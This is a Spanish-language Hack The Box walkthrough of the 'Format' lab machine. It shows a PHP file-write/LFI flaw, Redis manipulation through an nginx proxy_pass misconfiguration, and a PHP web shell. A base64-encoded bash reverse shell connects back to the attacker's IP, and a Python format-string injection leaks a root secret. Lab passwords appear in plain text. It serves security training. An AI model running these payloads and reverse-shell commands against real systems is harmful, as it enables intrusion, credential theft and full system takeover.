Descripción
Format es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inclusión de archivos locales y escritura de archivos en aplicación PHP
- Directiva
proxy_passde Nginx permite escribir en un socket de Redis - Pivote de usuario mediante la recuperación de una contraseña desde la base de datos Redis
- Escalada de privilegios mediante la impresión de variables de Python con un generador de licencias personalizado
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.213.
$ ping -c 3 10.10.11.213
PING 10.10.11.213 (10.10.11.213) 56(84) bytes of data.
64 bytes from 10.10.11.213: icmp_seq=1 ttl=63 time=48.0 ms
64 bytes from 10.10.11.213: icmp_seq=2 ttl=63 time=47.3 ms
64 bytes from 10.10.11.213: icmp_seq=3 ttl=63 time=48.3 ms
--- 10.10.11.213 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.264/47.861/48.290/0.435 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos de que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.10.11.213 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.213
Host is up (0.050s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
Obtenemos tres puertos abiertos: 22, 80, y 3000.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.213 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.213
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
| 256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_ 256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.38 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), y dos Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio microblog.htb al archivo /etc/hosts.
$ echo '10.10.11.213 microblog.htb' | sudo tee -a /etc/hosts
Enumerando el puerto 80 encontramos un error 404 Not Found con el nombre de host microblog.htb. Con la dirección IP nos redirigimos al app.microblog.htb.
$ echo '10.10.11.213 app.microblog.htb' | sudo tee -a /etc/hosts
Encontramos un sitio web de blogging en el que podemos registrarnos y iniciar sesión con una cuenta.
Al final de la página encontramos un enlace Loving Microblog? Contribute here! que apunta al enlace http://microblog.htb:3000/cooper/microblog. Este es el repositorio Git de la aplicación Microblog. Después de registrarnos en la página de blogging podemos iniciar sesión y nos redirigimos a un panel de control.
We are able of entering the name of the new blog, in this case newblog.microblog.htb. We add the host to /etc/hosts file.
echo '10.10.11.213 newblog.microblog.htb' | sudo tee -a /etc/hosts
Podemos acceder al blog en la dirección anterior.
También tenemos la capacidad de editar el encabezado del blog y el contenido.
Comenzamos una revisión de código para comprobar la presencia de vulnerabilidades en el código. En el archivo microblog-template/edit/index.php encontramos el código responsable de la página de edición.
//add header
if (isset($_POST['header']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$txt_nl = nl2br($_POST['txt']);
$html = "<div class = \"blog-text\">{$txt_nl}</div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
Este código es un script PHP que maneja la adición de contenido a un post de blog al aceptar solicitudes POST y escribir en archivos. Sin embargo, tiene varias vulnerabilidades de seguridad: El código permite que la entrada del usuario determine directamente el nombre del archivo ({$_POST['id']}). Esto puede llevar a Inclusión de Archivos Locales (LFI) o Inclusión de Archivos Remotos (RFI) si un atacante puede manipular el parámetro id para acceder a otros archivos o incluso incluir archivos remotos. Utiliza fopen y fwrite sin comprobar si el archivo existe o si el usuario tiene los permisos necesarios. Esto puede llevar a la sobrescritura de archivos o la creación no autorizada de archivos. El archivo order.txt se está utilizando para agregar los valores id de los posts de blog, probablemente para mantener el orden en que se agregan las secciones. El código agrega directamente $_POST['id'] a order.txt sin validación.
Explotación
Vamos a comprobar la vulnerabilidad editando el encabezado y cambiando el parámetro id a un archivo como /etc/passwd como id=/etc/passwd&header=header. Después de refrescar la página, encontramos el contenido del archivo.
$ curl http://newblog.microblog.htb/
<!DOCTYPE html>
<head>
<link rel="icon" type="image/x-icon" href="/images/brain.ico">
<link rel="stylesheet" href="http://microblog.htb/static/css/styles.css">
<script src="http://microblog.htb/static/js/jquery.js"></script>
<title></title>
<script>
$(window).on('load', function(){
const html = "<div class = \"\/etc\/passwd\">root:x:0:0:root:\/root:\/bin\/bash...
Confirmamos la vulnerabilidad. Pero la forma en que se renderiza el encabezado es un problema para que sea legible, por lo tanto, se desarrolla un script en Python para leer la variable html con el contenido del archivo.
import re
import requests
from bs4 import BeautifulSoup
import sys
def extract_and_format_html_from_url(url):
"""
Makes a GET request to the given URL, finds the JavaScript variable `html`,
extracts the <div> content, and formats it with proper line breaks.
"""
# 1. Make the GET request
response = requests.get(url)
if response.status_code != 200:
raise ValueError(f"Failed to fetch URL {url}: Status code {response.status_code}")
full_html = response.text
# 2. Find the variable `html` in the page
match = re.search(r'const\s+html\s*=\s*"(.+?)"\.replace', full_html, re.DOTALL)
if not match:
raise ValueError("Variable 'html' not found in the HTML content.")
html_variable = match.group(1)
# 3. Unescape sequences (\/ -> /, \" -> ")
html_variable = html_variable.encode('utf-8').decode('unicode_escape')
html_variable = html_variable.replace('\\/', '/').replace('\\"', '"')
# 4. Parse with BeautifulSoup
soup = BeautifulSoup(html_variable, 'html.parser')
# 5. Extract content inside the <div>
div = soup.find('div')
if not div:
raise ValueError("No <div> found inside the HTML variable.")
# 6. Return the formatted text with line breaks
formatted_text = div.get_text(separator='\n')
return formatted_text
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <URL>")
sys.exit(1)
url = sys.argv[1]
try:
result = extract_and_format_html_from_url(url)
print(result)
except Exception as e:
print(f"Error: {e}")
Ejecutamos para encontrar los usuarios de la terminal: root y cooper.
$ python extract.py http://newblog.microblog.htb 2> /dev/null | grep sh
root:x:0:0:root:/root:/bin/bash
cooper:x:1000:1000::/home/cooper:/bin/bash
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
En el código fuente encontramos una funcionalidad que permite subir imágenes para usuarios Pro que son subidas al directorio /uploads.
if (isset($_FILES['image']) && isset($_POST['id'])) {
if(isPro() === "false") {
print_r("Pro subscription required to upload images");
header("Location: /edit?message=Pro subscription required&status=fail");
exit();
}
$image = new Bulletproof\Image($_FILES);
$image->setLocation(getcwd() . "/../uploads");
$image->setSize(100, 3000000);
$image->setMime(array('png'));
if($image["image"]) {
$upload = $image->upload();
if($upload) {
$upload_path = "/uploads/" . $upload->getName() . ".png";
$html = "<div class = \"blog-image\"><img src = \"{$upload_path}\" /></div>";
chdir(getcwd() . "/../content");
La función isPro() se llama para verificar si el usuario es Pro o no.
function isPro() {
if(isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$pro = $redis->HGET($_SESSION['username'], "pro");
return strval($pro);
}
return "false";
}
Para comprobar si el usuario es Pro o no, PHP conecta a una base de datos Redis a través de un archivo .sock. Enumeramos el archivo de configuración para el servidor nginx /etc/nginx/sites-available/default.
$ python extract.py http://newblog.microblog.htb 2> /dev/null
...
server {
listen 80;
listen [::]:80;
root /var/www/microblog/app;
index index.html index.htm index-nginx-debian.html;
server_name microblog.htb;
location / {
return 404;
}
location = /static/css/health/ {
resolver 127.0.0.1;
proxy_pass http://css.microbucket.htb/health.txt;
}
location = /static/js/health/ {
resolver 127.0.0.1;
proxy_pass http://js.microbucket.htb/health.txt;
}
location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
}
}
La raíz de la página web se encuentra en el directorio /var/www/microblog/app. Existe una vulnerabilidad en la funcionalidad proxy_pass ya que podría utilizarse para manipular el socket de Redis. Podemos utilizar la vulnerabilidad para actualizar nuestra cuenta a una de tipo Pro utilizando el método HSET. La solicitud HTTP raw tendrá el siguiente formato con la consulta Redis HSET <username> pro true.
HSET /static/unix%3A%2Fvar%2Frun%2Fredis%2Fredis%2Esock%3Auser%20pro%20true%20/ HTTP/1.1
Host: microblog.htb
...
Después de refrescar la página de edición, encontramos que ahora podemos subir archivos con el elemento img. Subimos un archivo PHP de shell inversa con la vulnerabilidad anterior, activamos la página y recibimos la conexión desde la shell inversa. Como el id indicamos el archivo para el cual queremos que se escriba el contenido PHP, y con header, el contenido del archivo.
$ nc -nvlp 1234

$ curl -b 'username=1i3at4rafa4msj2c0098mke1ko' --data 'id=/var/www/microblog/newblog/uploads/shell.php&header=%3C%3Fphp%20if%28isset%28%24_REQUEST%5B%22cmd%22%5D%29%29%7B%20echo%20%22%3Cpre%3E%22%3B%20%24cmd%20%3D%20%28%24_REQUEST%5B%22cmd%22%5D%29%3B%20system%28%24cmd%29%3B%20echo%20%22%3C%2Fpre%3E%22%3B%20die%3B%20%7D%3F%3E' http://newblog.microblog.htb/edit/index.php
...
$ curl 'http://newblog.microblog.htb/uploads/shell.php?cmd=echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE2LzEyMzQgMD4mMQ==|base64+-d|bash'
Recibimos la terminal inversa como el usuario www-data, la elevamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.213] 45376
bash: cannot set terminal process group (619): Inappropriate ioctl for device
bash: no job control in this shell
www-data@format:~/microblog/newblog/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@format:~/microblog/newblog/uploads$ ^Z
$ reset xterm
www-data@format:~/microblog/newblog/uploads$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Como tenemos acceso a una terminal estable, vamos a enumerar el servidor Redis a través de su aplicación redis-cli. Podemos enumerar todas sus claves con el comando keys *. Encontramos otro usuario llamado cooper.dooper y su contraseña, zooperdoopercooper.
www-data@format:~/microblog/newblog/uploads$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> keys *
1) "PHPREDIS_SESSION:tckf4hqomvejk6pvj7jquhc2vh"
2) "PHPREDIS_SESSION:r7nn87mgiti2e8pj9arntf553t"
3) "dotguy"
4) "user:sites"
5) "PHPREDIS_SESSION:1i3at4rafa4msj2c0098mke1ko"
6) "PHPREDIS_SESSION:tvhi3mndq9ejf2vifrkevk7rfb"
7) "cooper.dooper"
8) "PHPREDIS_SESSION:3ejegk853qm0vhoragabgqv9fq"
9) "user"
10) "cooper.dooper:sites"
redis /var/run/redis/redis.sock> hgetall cooper.dooper
11) "username"
12) "cooper.dooper"
13) "password"
14) "zooperdoopercooper"
15) "first-name"
16) "Cooper"
17) "last-name"
18) "Dooper"
19) "pro"
20) "false"
La contraseña se reutiliza para el usuario Linux y podemos iniciar sesión usando SSH en la cuenta cooper.
$ ssh cooper@microblog.htb
...
cooper@format:~$ id
uid=1000(cooper) gid=1000(cooper) groups=1000(cooper)
Encontramos que el usuario cooper puede ejecutar un comando como el usuario root, /usr/bin/license
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3
...
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
...
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
...
Es un script en Python que gestiona las claves de licencia para Microblog. Se define una clase License para generar una clave de licencia aleatoria de 40 caracteres y almacenar la fecha en la que se creó. El script comprueba si se está ejecutando como usuario root. Si no es así, finaliza con un mensaje de error. El script se conecta a una instancia de Redis utilizando una ruta de socket Unix. Lee un secreto de un archivo, lo codifica y utiliza una función de derivación de claves HMAC PBKDF2 para generar una clave de cifrado. Esta clave se utiliza luego por la herramienta de cifrado simétrico Fernet. La clave de cifrado secreta se almacena en el archivo /root/license/secret.
Como la clave secreta se guarda en una variable llamada secret, podemos recuperarla creando un nuevo usuario en la base de datos Redis con el nombre de usuario {license.__init__.__globals__[secret]}.
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> HSET newuser username {license.__init__.__globals__[secret]}
(integer) 1
redis /var/run/redis/redis.sock> HSET newuser first-name newuser
(integer) 1
redis /var/run/redis/redis.sock> HSET newuser last-name newuser
(integer) 1
Ahora podemos ejecutar el script de generación de licencia para encontrar la variable secreta, unCR4ckaBL3Pa$$w0rd. La contraseña se reutiliza para la cuenta root, por lo que tenemos permisos completos.
cooper@format:~$ sudo /usr/bin/license -p newuser
Plaintext license key:
------------------------------------------------------
microblogunCR4ckaBL3Pa$$w0rdUl)jpI*vo*0'HtGsi*zoF"IHO.gn;]_5%x\0(_mNnewusernewuser
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABo7teCtPD6NT26hXSkq1C1WNe1WY5j70T1nbozwW8zoMMAJizBlnjKAZHzKVAseKsQuyG0blkKCmkcSf5-cHMUjlnsYUuqy1dKbumPwkYJcHdRSA1EO1PILd0p_vUuwg9qipfoy06SThTO987bbi5oaQWAT5rsZsyuX6HriaCn50EG7blGmH652myVWBXIGfbp9bsF
cooper@format:~$ su root
Password:
root@format:/home/cooper# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal root podemos recuperar las flags user.txt y root.txt.
root@format:/home/cooper# cat /home/cooper/user.txt
<REDACTED>
root@format:/home/cooper# cat /root/root.txt
<REDACTED>